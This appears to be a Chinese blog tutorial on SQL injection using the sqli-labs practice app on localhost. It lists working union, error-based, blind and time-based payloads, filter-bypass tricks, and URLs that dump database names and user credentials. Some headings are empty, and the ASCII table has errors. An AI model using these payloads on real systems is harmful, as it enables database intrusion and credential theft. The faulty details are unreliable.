SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。那什么是SQL了?结构化查询语言(Structured Query Language,缩写:SQL),是一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言)
union注入
总结:
报错注入:
extractValue() 报错注入
concat用法concat(1,2)输出为12,将第一个和第二个连接起来为了让路径报错
updatexml报错注入
floor报错
函数 | 作用 |
---|---|
rand() | 随机返回0~1之间的小数 |
floor() | 小数向下取整数 |
ceiling() | 小数向上取整数 |
concat_ws() | 将括号内数据用第一个字段连接起来 |
as | 别名 |
group by | 分组 |
count() | 汇总统计数量 |
limit | 这里用于显示指定行数 |
布尔盲注
盲注:页面没有报错回显,不知道数据库具体返回值的情况,对数据库中的内容进行猜解,实行sql注入
布尔盲注:web页面只返回True、False两种类型;利用页面返回不同,逐个猜解数据
有真假两种类型的页面
ascii() | 转换为对应的ASCII码值 |
---|
subdtr(查询语句,第几个字符,显示几个)
?id=1' and ascii(substr('语句',1,1))>97 --+
ASCII表
ASCII值 |
控制字符 |
ASCII值 |
控制字符 |
ASCII值 |
控制字符 |
ASCII值 |
控制字符 |
0 |
NUL |
32 |
(space) |
64 |
@ |
96 |
、 |
1 |
SOH |
33 |
! |
65 |
A |
97 |
a |
2 |
STX |
34 |
” |
66 |
B |
98 |
b |
3 |
ETX |
35 |
# |
67 |
C |
99 |
c |
4 |
EOT |
36 |
$ |
68 |
D |
100 |
d |
5 |
ENQ |
37 |
% |
69 |
E |
101 |
e |
6 |
ACK |
38 |
& |
70 |
F |
102 |
f |
7 |
BEL |
39 |
' |
71 |
G |
103 |
g |
8 |
BS |
40 |
( |
72 |
H |
104 |
h |
9 |
HT |
41 |
) |
73 |
I |
105 |
i |
10 |
LF |
42 |
* |
74 |
J |
106 |
j |
11 |
VT |
43 |
+ |
75 |
K |
107 |
k |
12 |
FF |
44 |
, |
76 |
L |
108 |
l |
13 |
CR |
45 |
- |
77 |
M |
109 |
m |
14 |
SO |
46 |
. |
78 |
N |
110 |
n |
15 |
SI |
47 |
/ |
79 |
O |
111 |
o |
16 |
DLE |
48 |
0 |
80 |
P |
112 |
p |
17 |
DCI |
49 |
1 |
81 |
Q |
113 |
q |
18 |
DC2 |
50 |
2 |
82 |
R |
114 |
r |
19 |
DC3 |
51 |
3 |
83 |
X |
115 |
s |
20 |
DC4 |
52 |
4 |
84 |
T |
116 |
t |
21 |
NAK |
53 |
5 |
85 |
U |
117 |
u |
22 |
SYN |
54 |
6 |
86 |
V |
118 |
v |
23 |
TB |
55 |
7 |
87 |
W |
119 |
w |
24 |
CAN |
56 |
8 |
88 |
X |
120 |
x |
25 |
EM |
57 |
9 |
89 |
Y |
121 |
y |
26 |
SUB |
58 |
: |
90 |
Z |
122 |
z |
27 |
ESC |
59 |
; |
91 |
[ |
123 |
{ |
28 |
FS |
60 |
< |
92 |
\ |
124 |
| |
29 |
GS |
61 |
= |
93 |
] |
125 |
} |
30 |
RS |
62 |
> |
94 |
^ |
126 |
~ |
31 |
US |
63 |
? |
95 |
— |
127 |
DEL |
布尔盲注闭合符的判断
时间盲注
无报错、无回显、无真假值,web页面只返回一个正常页面;利用页面响应时间不同,逐个猜解数据
前提是数据库会执行命令代码,只是不反馈页面信息
函数 | 作用 |
---|---|
sleep() | 参数为休眠时长,以秒为单位 |
if(condition,true,false) | condition为条件,当条件为真执行,当条件为假时执行 |
1' and if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3)) #
成功延迟两秒响应为闭合符
SQL注入过滤绕过
注释符绕过
sql语句为
SELECT * FROM users WHERE union select 1,(select database()),'3' limit 0,1
为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以
•获取数据库 http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3 此处获取的数据库为security •查看security库数据表 http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3 •查看users表的所有列 http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'3 •获取内容 http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(username,0x3a,password) from users),'3
and和or过滤绕过
&&可能不能识别,转换为url编码%26%26
空格过滤绕过
用+号代替空格
使用报错注入(无空格)
1'||extractvalue(1,concat(0x7e,database()))||'1'='1
select和union过滤绕过
1、用注释符变形
如 un/**/ion2、大小写
uNion seLect3、尝试复写单词
ununionion seleselectct
宽字节注入绕过
addslashes() 函数
在指定的预定义字符前添加反斜杠
这些字符是 ' " \ NULL
当写入或查询用户名“1”时,数据库会识别单引号 ’ 为闭合符号,要求再输入一个单引号将其闭合,只查询 “1” 而没办法查询 " 1’ "
如果输入 " 1’ ",使 ’ 失去闭合符的功能,则数据库会识别为 " 1’ "
?id=1 ’ 单引号实际变为 ’ 无法识别为闭合符,从而防范sql注入
宽字节绕过前提为GBKB编码
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)